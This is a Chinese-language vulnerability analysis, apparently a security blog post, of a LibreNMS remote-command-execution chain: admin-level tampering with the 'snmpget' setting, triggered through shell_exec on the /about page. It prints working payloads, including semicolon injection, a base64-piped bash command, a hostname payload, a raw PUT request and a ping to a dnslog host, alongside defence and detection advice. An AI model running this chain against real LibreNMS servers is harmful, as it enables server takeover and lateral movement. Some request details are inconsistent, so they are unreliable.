当配置成了炸弹:利用 LibreNMS snmpget 配置篡改实现 RCE 的完整攻击链
字数 2018 2025-11-10 12:02:51

LibreNMS配置篡改与远程命令执行漏洞分析

漏洞概述

本文详细分析LibreNMS系统中存在的配置篡改与任意命令执行漏洞。该漏洞允许攻击者通过篡改配置文件中的snmpget键值,利用shell_exec函数执行任意系统命令,形成完整的攻击链。

系统架构背景

LibreNMS是基于Laravel框架开发的网络监控系统,使用Illuminate作为路由组件。系统在route目录下定义了api、web和console三个不同业务方面的路由。

关键路由分析

  • 路由路径:/settings/1
  • 请求方法:PUT
  • 控制器:SettingsController类的update方法
  • 中间件:can:admin(验证管理员权限)
  • 参数:ID参数为1,可选参数通过?传递

漏洞原理分析

核心漏洞点

在about页面访问时,version_netsnmp的值通过shell_exec执行系统命令获得:

shell_exec(Config::get('snmpget') . ' -V');

默认情况下执行的是snmpget命令路径,但如果能篡改config中snmpget键对应的值,就能实现任意命令执行。

配置篡改途径

通过分析Config类,发现存在set方法可以修改配置值。虽然直接搜索Config::set未发现可利用点,但通过分析发现:

  1. 间接调用途径Config类内部使用self::set进行配置设置
  2. Arr::set方法set方法实际使用Laravel框架的Arr::set方法操作数组
  3. persist方法:发现Config::persist方法中使用了Arr::set,且参数可控

关键代码分析

class SettingsController extends Controller {
    public function update(DynamicConfig $config, Request $request, $id) {
        $value = $request->get('value');
        
        if (! $config->isValidSetting($id)) {
            return $this->jsonResponse($id, ':id is not a valid setting', null, 400);
        }
        
        $current = \LibreNMS\Config::get($id);
        $config_item = $config->get($id);
        
        if (! $config_item->checkValue($value)) {
            return $this->jsonResponse($id, $config_item->getValidationMessage($value), $current, 400);
        }
        
        if (\LibreNMS\Config::persist($id, $value)) { // 漏洞触发点
            return $this->jsonResponse($id, "Successfully set $id", $value);
        }
        
        return $this->jsonResponse($id, 'Failed to update :id', $current, 400);
    }
}

绕过安全检查

checkValue方法对value进行检查,由于value类型为"executable",需要满足:

  • 必须是一个可执行文件
  • 不能携带参数

绕过方法

  1. 使用分号;分隔多个命令
  2. 利用路径穿越结合命令注入
  3. 示例payload:/tmp/;ping a12dsa.dnslog.cn;bin/ls

高级绕过技巧

  • 使用base64编码绕过特殊字符限制
  • 示例:echo dG91Y2ggL3RtcC92dWxuX3Rlc3Q= | base64 -d | bash

攻击链构建

第一步:创建可控目录

需要找到创建或重命名目录的功能点:

方法一:设备添加功能

  1. 访问Device → Add Device
  2. 任意填写Hostname或IP
  3. 选择Force add强制添加(避免SNMP检查失败)

方法二:设备重命名功能
通过分析发现rename()函数可用于重命名host,从而创建包含payload的目录名。

第二步:等待目录生成

系统通过计划任务轮询设备,在rrd目录下生成以hostname命名的文件用于保存监控图像。

第三步:修改设备主机名

  1. 转到Device界面
  2. 点击右上角设置
  3. 修改hostname为payload格式:
xxx; echo dG91Y2ggL3RtcC92dWxuX3Rlc3Q= | base64 -d | bash;#

第四步:篡改snmpget配置

发送PUT请求修改snmpget配置:

PUT /settings/snmpget HTTP/1.1
Host: target.com
Cookie: [有效会话cookie]
X-Requested-With: XMLHttpRequest
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 16

{"value":"../rrd/xxx; echo dG91Y2ggL3RtcC92dWxuX3Rlc3Q= | base64 -d | bash;bin/echo"}

第五步:触发命令执行

访问/about页面触发shell_exec执行,验证命令执行结果。

漏洞复现步骤

环境准备

  1. 正常部署的LibreNMS系统
  2. 具有管理员权限的账户
  3. 访问目标系统的权限

详细复现流程

  1. 添加测试设备

    • 导航至Device → Add Device
    • Hostname填写:testdevice
    • 勾选Force add选项
    • 确认添加设备
  2. 等待计划任务执行

    • 系统会在rrd目录下生成testdevice相关文件
    • 等待约5-10分钟确保文件生成完成
  3. 修改设备主机名

    • 进入Device界面选择刚添加的设备
    • 点击右上角设置按钮
    • 修改Hostname为payload格式
  4. 发送配置篡改请求

    • 使用Burp Suite或curl发送PUT请求
    • 确保包含有效的管理员会话cookie
    • 请求体包含精心构造的payload
  5. 触发并验证

    • 访问/about页面
    • 检查服务器上是否成功创建测试文件(如/tmp/vuln_test

技术要点总结

漏洞利用条件

  1. 攻击者需要具备管理员权限
  2. 系统需要启用SNMP相关功能
  3. 需要能够添加或修改设备信息

防御建议

  1. 输入验证强化:对配置值进行严格的白名单验证
  2. 命令执行安全:避免使用shell_exec执行动态配置的命令
  3. 权限控制:严格限制配置修改权限
  4. 路径限制:对文件路径进行规范化处理,防止路径穿越

检测方法

  1. 监控Config::persist方法的调用
  2. 检查snmpget配置值的异常修改
  3. 监控about页面的异常访问模式

扩展利用可能性

  1. 持久化后门:通过修改配置建立持久化访问
  2. 横向移动:利用系统权限访问网络内其他设备
  3. 数据窃取:获取监控数据中的敏感信息

本漏洞分析展示了从配置篡改到远程命令执行的完整攻击链,强调了在网络监控系统中安全配置管理的重要性。

LibreNMS配置篡改与远程命令执行漏洞分析 漏洞概述 本文详细分析LibreNMS系统中存在的配置篡改与任意命令执行漏洞。该漏洞允许攻击者通过篡改配置文件中的snmpget键值,利用shell_ exec函数执行任意系统命令,形成完整的攻击链。 系统架构背景 LibreNMS是基于Laravel框架开发的网络监控系统,使用Illuminate作为路由组件。系统在route目录下定义了api、web和console三个不同业务方面的路由。 关键路由分析 路由路径: /settings/1 请求方法:PUT 控制器: SettingsController 类的 update 方法 中间件: can:admin (验证管理员权限) 参数:ID参数为1,可选参数通过?传递 漏洞原理分析 核心漏洞点 在about页面访问时, version_netsnmp 的值通过 shell_exec 执行系统命令获得: 默认情况下执行的是snmpget命令路径,但如果能篡改config中 snmpget 键对应的值,就能实现任意命令执行。 配置篡改途径 通过分析 Config 类,发现存在 set 方法可以修改配置值。虽然直接搜索 Config::set 未发现可利用点,但通过分析发现: 间接调用途径 : Config 类内部使用 self::set 进行配置设置 Arr::set方法 : set 方法实际使用Laravel框架的 Arr::set 方法操作数组 persist方法 :发现 Config::persist 方法中使用了 Arr::set ,且参数可控 关键代码分析 绕过安全检查 checkValue 方法对value进行检查,由于value类型为"executable",需要满足: 必须是一个可执行文件 不能携带参数 绕过方法 : 使用分号 ; 分隔多个命令 利用路径穿越结合命令注入 示例payload: /tmp/;ping a12dsa.dnslog.cn;bin/ls 高级绕过技巧 : 使用base64编码绕过特殊字符限制 示例: echo dG91Y2ggL3RtcC92dWxuX3Rlc3Q= | base64 -d | bash 攻击链构建 第一步:创建可控目录 需要找到创建或重命名目录的功能点: 方法一:设备添加功能 访问Device → Add Device 任意填写Hostname或IP 选择Force add强制添加(避免SNMP检查失败) 方法二:设备重命名功能 通过分析发现 rename() 函数可用于重命名host,从而创建包含payload的目录名。 第二步:等待目录生成 系统通过计划任务轮询设备,在rrd目录下生成以hostname命名的文件用于保存监控图像。 第三步:修改设备主机名 转到Device界面 点击右上角设置 修改hostname为payload格式: 第四步:篡改snmpget配置 发送PUT请求修改snmpget配置: 第五步:触发命令执行 访问 /about 页面触发 shell_exec 执行,验证命令执行结果。 漏洞复现步骤 环境准备 正常部署的LibreNMS系统 具有管理员权限的账户 访问目标系统的权限 详细复现流程 添加测试设备 导航至Device → Add Device Hostname填写: testdevice 勾选Force add选项 确认添加设备 等待计划任务执行 系统会在rrd目录下生成 testdevice 相关文件 等待约5-10分钟确保文件生成完成 修改设备主机名 进入Device界面选择刚添加的设备 点击右上角设置按钮 修改Hostname为payload格式 发送配置篡改请求 使用Burp Suite或curl发送PUT请求 确保包含有效的管理员会话cookie 请求体包含精心构造的payload 触发并验证 访问 /about 页面 检查服务器上是否成功创建测试文件(如 /tmp/vuln_test ) 技术要点总结 漏洞利用条件 攻击者需要具备管理员权限 系统需要启用SNMP相关功能 需要能够添加或修改设备信息 防御建议 输入验证强化 :对配置值进行严格的白名单验证 命令执行安全 :避免使用shell_ exec执行动态配置的命令 权限控制 :严格限制配置修改权限 路径限制 :对文件路径进行规范化处理,防止路径穿越 检测方法 监控Config::persist方法的调用 检查snmpget配置值的异常修改 监控about页面的异常访问模式 扩展利用可能性 持久化后门 :通过修改配置建立持久化访问 横向移动 :利用系统权限访问网络内其他设备 数据窃取 :获取监控数据中的敏感信息 本漏洞分析展示了从配置篡改到远程命令执行的完整攻击链,强调了在网络监控系统中安全配置管理的重要性。